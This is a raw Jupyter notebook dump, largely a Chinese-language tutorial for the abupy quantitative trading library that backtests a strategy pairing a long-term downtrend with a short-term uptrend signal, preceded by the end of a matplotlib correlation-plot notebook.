LinearRegressionOn2DPoints(params[\"points\"])\n", "\n", " (points_plot,) = plt.plot(X0, Y0, \"o\")\n", " (line_plot,) = plt.plot(X0, Y, \"r\")\n", " plt.axis(\"equal\")\n", "\n", " # Add UI Text and Sliders\n", " text = plt.text(-4.5, 3.5, \"Corr(x,y) %f\" % Correlation2DPoints(params[\"points\"]), fontsize=15)\n", " ax_aspect = plt.axes([0.25, 0.1, 0.65, 0.03])\n", " ax_theta = plt.axes([0.25, 0.15, 0.65, 0.03])\n", " aspect_slider = Slider(ax_aspect, \"Aspect\", 0.0, 1.0, valinit=aspect)\n", " theta_slider = Slider(ax_theta, \"Theta\", -0.5 * np.pi, 0.5 * np.pi, valinit=theta)\n", " aspect_slider.on_changed(updateHandler(\"aspect\", text, points_plot, line_plot, params))\n", " theta_slider.on_changed(updateHandler(\"theta\", text, points_plot, line_plot, params))\n", "\n", " plt.show()\n", " plt.savefig(\"correlation2d.pdf\")\n", "\n", "\n", "if __name__ == \"__main__\":\n", " main()" ] } ], "metadata": { "kernelspec": { "display_name": "Python [conda env:py37]", "language": "python", "name": "conda-env-py37-py" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.7.13" } }, "nbformat": 4, "nbformat_minor": 5 }

mit

bbfamily/abu

abupy_lecture/30-趋势跟踪与均值回复的长短线搭配.ipynb

1

648770

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# ABU量化系统使用文档 \n", "\n", "<center>\n", " <img src=\"./image/abu_logo.png\" alt=\"\" style=\"vertical-align:middle;padding:10px 20px;\"><font size=\"6\" color=\"black\"><b>第30节 趋势跟踪与均值回复的长短线搭配</b></font>\n", "</center>\n", "\n", "-----------------\n", "\n", "作者: 阿布\n", "\n", "阿布量化版权所有 未经允许 禁止转载\n", "\n", "[abu量化系统github地址](https://github.com/bbfamily/abu) (欢迎+star)\n", "\n", "[本节ipython notebook](https://github.com/bbfamily/abu/tree/master/abupy_lecture)\n", "\n", "\n", "上一节讲解了多因子策略并行执行配合的示例，本节讲解趋势跟踪与均值回复的长短线搭配的示例。\n", "\n", "首先导入本节需要使用的abupy中的模块： " ] }, { "cell_type": "code", "execution_count": 36, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "enable example env will only read RomDataBu/csv\n" ] } ], "source": [ "# 基础库导入\n", "\n", "from __future__ import print_function\n", "from __future__ import division\n", "\n", "import warnings\n", "warnings.filterwarnings('ignore')\n", "warnings.simplefilter('ignore')\n", "\n", "import numpy as np\n", "import pandas as pd\n", "import matplotlib.pyplot as plt\n", "%matplotlib inline\n", "\n", "import os\n", "import sys\n", "# 使用insert 0即只使用github，避免交叉使用了pip安装的abupy，导致的版本不一致问题\n", "sys.path.insert(0, os.path.abspath('../'))\n", "import abupy\n", "\n", "# 使用沙盒数据，目的是和书中一样的数据环境\n", "abupy.env.enable_example_env_ipython()" ] }, { "cell_type": "code", "execution_count": 37, "metadata": { "collapsed": true }, "outputs": [], "source": [ "us_choice_symbols = ['usTSLA', 'usNOAH', 'usSFUN', 'usBIDU', 'usAAPL', 'usGOOG', 'usWUBA', 'usVIPS']\n", "cn_choice_symbols = ['002230', '300104', '300059', '601766', '600085', '600036', '600809', '000002', '002594', '002739']\n", "hk_choice_symbols = ['hk03333', 'hk00700', 'hk02333', 'hk01359', 'hk00656', 'hk03888', 'hk02318']" ] }, { "cell_type": "code", "execution_count": 38, "metadata": { "collapsed": true }, "outputs": [], "source": [ "from abupy import AbuDoubleMaBuy, AbuDoubleMaSell, ABuKLUtil, ABuSymbolPd, AbuUpDownTrend, AbuDownUpTrend, AbuUpDownGolden\n", "from abupy import AbuFactorCloseAtrNStop, AbuFactorAtrNStop, AbuFactorPreAtrNStop, tl\n", "from abupy import abu, ABuProgress, AbuMetricsBase, EMarketTargetType, ABuMarketDrawing" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "在《量化交易之路》中量化入门章节讲过趋势跟踪和均值回复的概念以及策略示例，量化交易系统中策略的原型只有趋势跟踪和均值回复，不管多么复杂的策略最终都会落在这两个基础策略概念范围内。\n", "\n", "很多买入策略本身并不能定性为趋势跟踪策略或者均值回复策略，之前的教程一直作为示例使用的海龟突破策略属于一种最简单‘直来直去’的策略，它自身带有明显的趋势跟踪属性，‘直来直去’不代表不好，但是很多时候需要在策略中通过使用非均衡技术进一步构建概率优势，当然这样做也会付出代价，代价就是信号发出的频率会明显降低。\n", "\n", "本节将讲解在策略中使用**长短线分析**进一步构建**非均衡概率优势**。\n", "\n", "## 1. 长线趋势下跌与短线趋势上涨\n", "\n", "* 什么叫做长短线分析？\n", "\n", "即把整个择时周期分成两部分，长的为长线择时，短的为短线择时，比如一个示例策略如下：\n", "\n", "1. 寻找长线下跌的股票，比如一个季度(4个月)整体趋势为下跌趋势\n", "2. 短线走势上涨的股票，比如一个月整体趋势为上涨趋势\n", "3. 最后使用海龟突破的N日突破策略作为策略最终买入信号\n", "\n", "上面文字描述的策略如图所示：\n", "\n", "\n", "\n", "这种长短线策略一个很大的特点为策略本身并不能定性为趋势跟踪策略或者均值回测策略，决定策略到底为趋势跟踪还是均值回复的主要决定在于卖出策略:\n", "\n", "* 使用较大的止盈位置则上述策略定性为趋势跟踪策略，认为短线上涨形成趋势成立，买入后的期望是后期走势可以长时间保持短线目前的上涨趋势\n", "* 使用较小的止盈位置则上述策略定性为均值回复策略，认为短线上涨为长线下跌的回复，买入后的期望是可以短时间内继续保持涨趋势\n", "\n", "首先使用较大的止盈位置，则策略定性为趋势跟踪策略，abupy内置的AbuDownUpTrend策略为上述策略的代码实现, 关键策略代码如下:\n", "\n", " def fit_day(self, today):\n", " \"\"\"\n", " 长线下跌中寻找短线突破反转买入择时因子\n", " 1. 通过past_today_kl获取长周期的金融时间序列，通过AbuTLine中的is_down_trend判断\n", " 长周期是否属于下跌趋势，\n", " 2. 今天收盘价为最近xd天内最高价格，且短线xd天的价格走势为上升趋势\n", " 3. 满足1，2发出买入信号\n", " :param today: 当前驱动的交易日金融时间序列数据\n", " \"\"\"\n", " long_kl = self.past_today_kl(today, self.past_factor * self.xd)\n", " tl_long = AbuTLine(long_kl.close, 'long')\n", " # 判断长周期是否属于下跌趋势\n", " if tl_long.is_down_trend(down_deg_threshold=self.down_deg_threshold, show=False):\n", " if today.close == self.xd_kl.close.max() and AbuTLine(\n", " self.xd_kl.close, 'short').is_up_trend(up_deg_threshold=-self.down_deg_threshold, show=False):\n", " # 今天收盘价为最近xd天内最高价格，且短线xd天的价格走势为上升趋势\n", " return self.buy_tomorrow()\n", "\n", "更多具体实现请阅读源代码，下面做回测示例，如下：" ] }, { "cell_type": "code", "execution_count": 39, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "买入后卖出的交易数量:7\n", "买入后尚未卖出的交易数量:4\n", "胜率:71.4286%\n", "平均获利期望:13.1159%\n", "平均亏损期望:-7.4964%\n", "盈亏比:5.1695\n", "所有交易收益比例和:0.5059 \n", "所有交易总盈亏和:200456.0100 \n" ] } ], "source": [ "# 初始资金量\n", "cash = 3000000\n", "def run_loo_back(choice_symbols, ps=None, n_folds=3, start=None, end=None, only_info=False):\n", " \"\"\"封装一个回测函数，返回回测结果，以及回测度量对象\"\"\"\n", " if choice_symbols[0].startswith('us'):\n", " abupy.env.g_market_target = EMarketTargetType.E_MARKET_TARGET_US\n", " else:\n", " abupy.env.g_market_target = EMarketTargetType.E_MARKET_TARGET_CN\n", " abu_result_tuple, _ = abu.run_loop_back(cash,\n", " buy_factors,\n", " sell_factors,\n", " ps,\n", " start=start,\n", " end=end,\n", " n_folds=n_folds,\n", " choice_symbols=choice_symbols)\n", " ABuProgress.clear_output()\n", " metrics = AbuMetricsBase.show_general(*abu_result_tuple, returns_cmp=only_info, \n", " only_info=only_info,\n", " only_show_returns=True)\n", " return abu_result_tuple, metrics\n", "# 买入策略使用AbuDownUpTrend\n", "buy_factors = [{'class': AbuDownUpTrend}]\n", "# 卖出策略：利润保护止盈策略+风险下跌止损+较大的止盈位\n", "sell_factors = [{'stop_loss_n': 1.0, 'stop_win_n': 3.0,\n", " 'class': AbuFactorAtrNStop},\n", " {'class': AbuFactorPreAtrNStop, 'pre_atr_n': 1.5},\n", " {'class': AbuFactorCloseAtrNStop, 'close_atr_n': 1.5}]\n", "# 开始回测\n", "abu_result_tuple, metrics = run_loo_back(us_choice_symbols, only_info=True)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "下面使用plot_candle_from_order接口可视化交易单，以及买入卖出点，如下：" ] }, { "cell_type": "code", "execution_count": 40, "metadata": { "scrolled": false }, "outputs": [ { "data": { "image/png": "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\nemoH9mf53duT+lOPl04NYh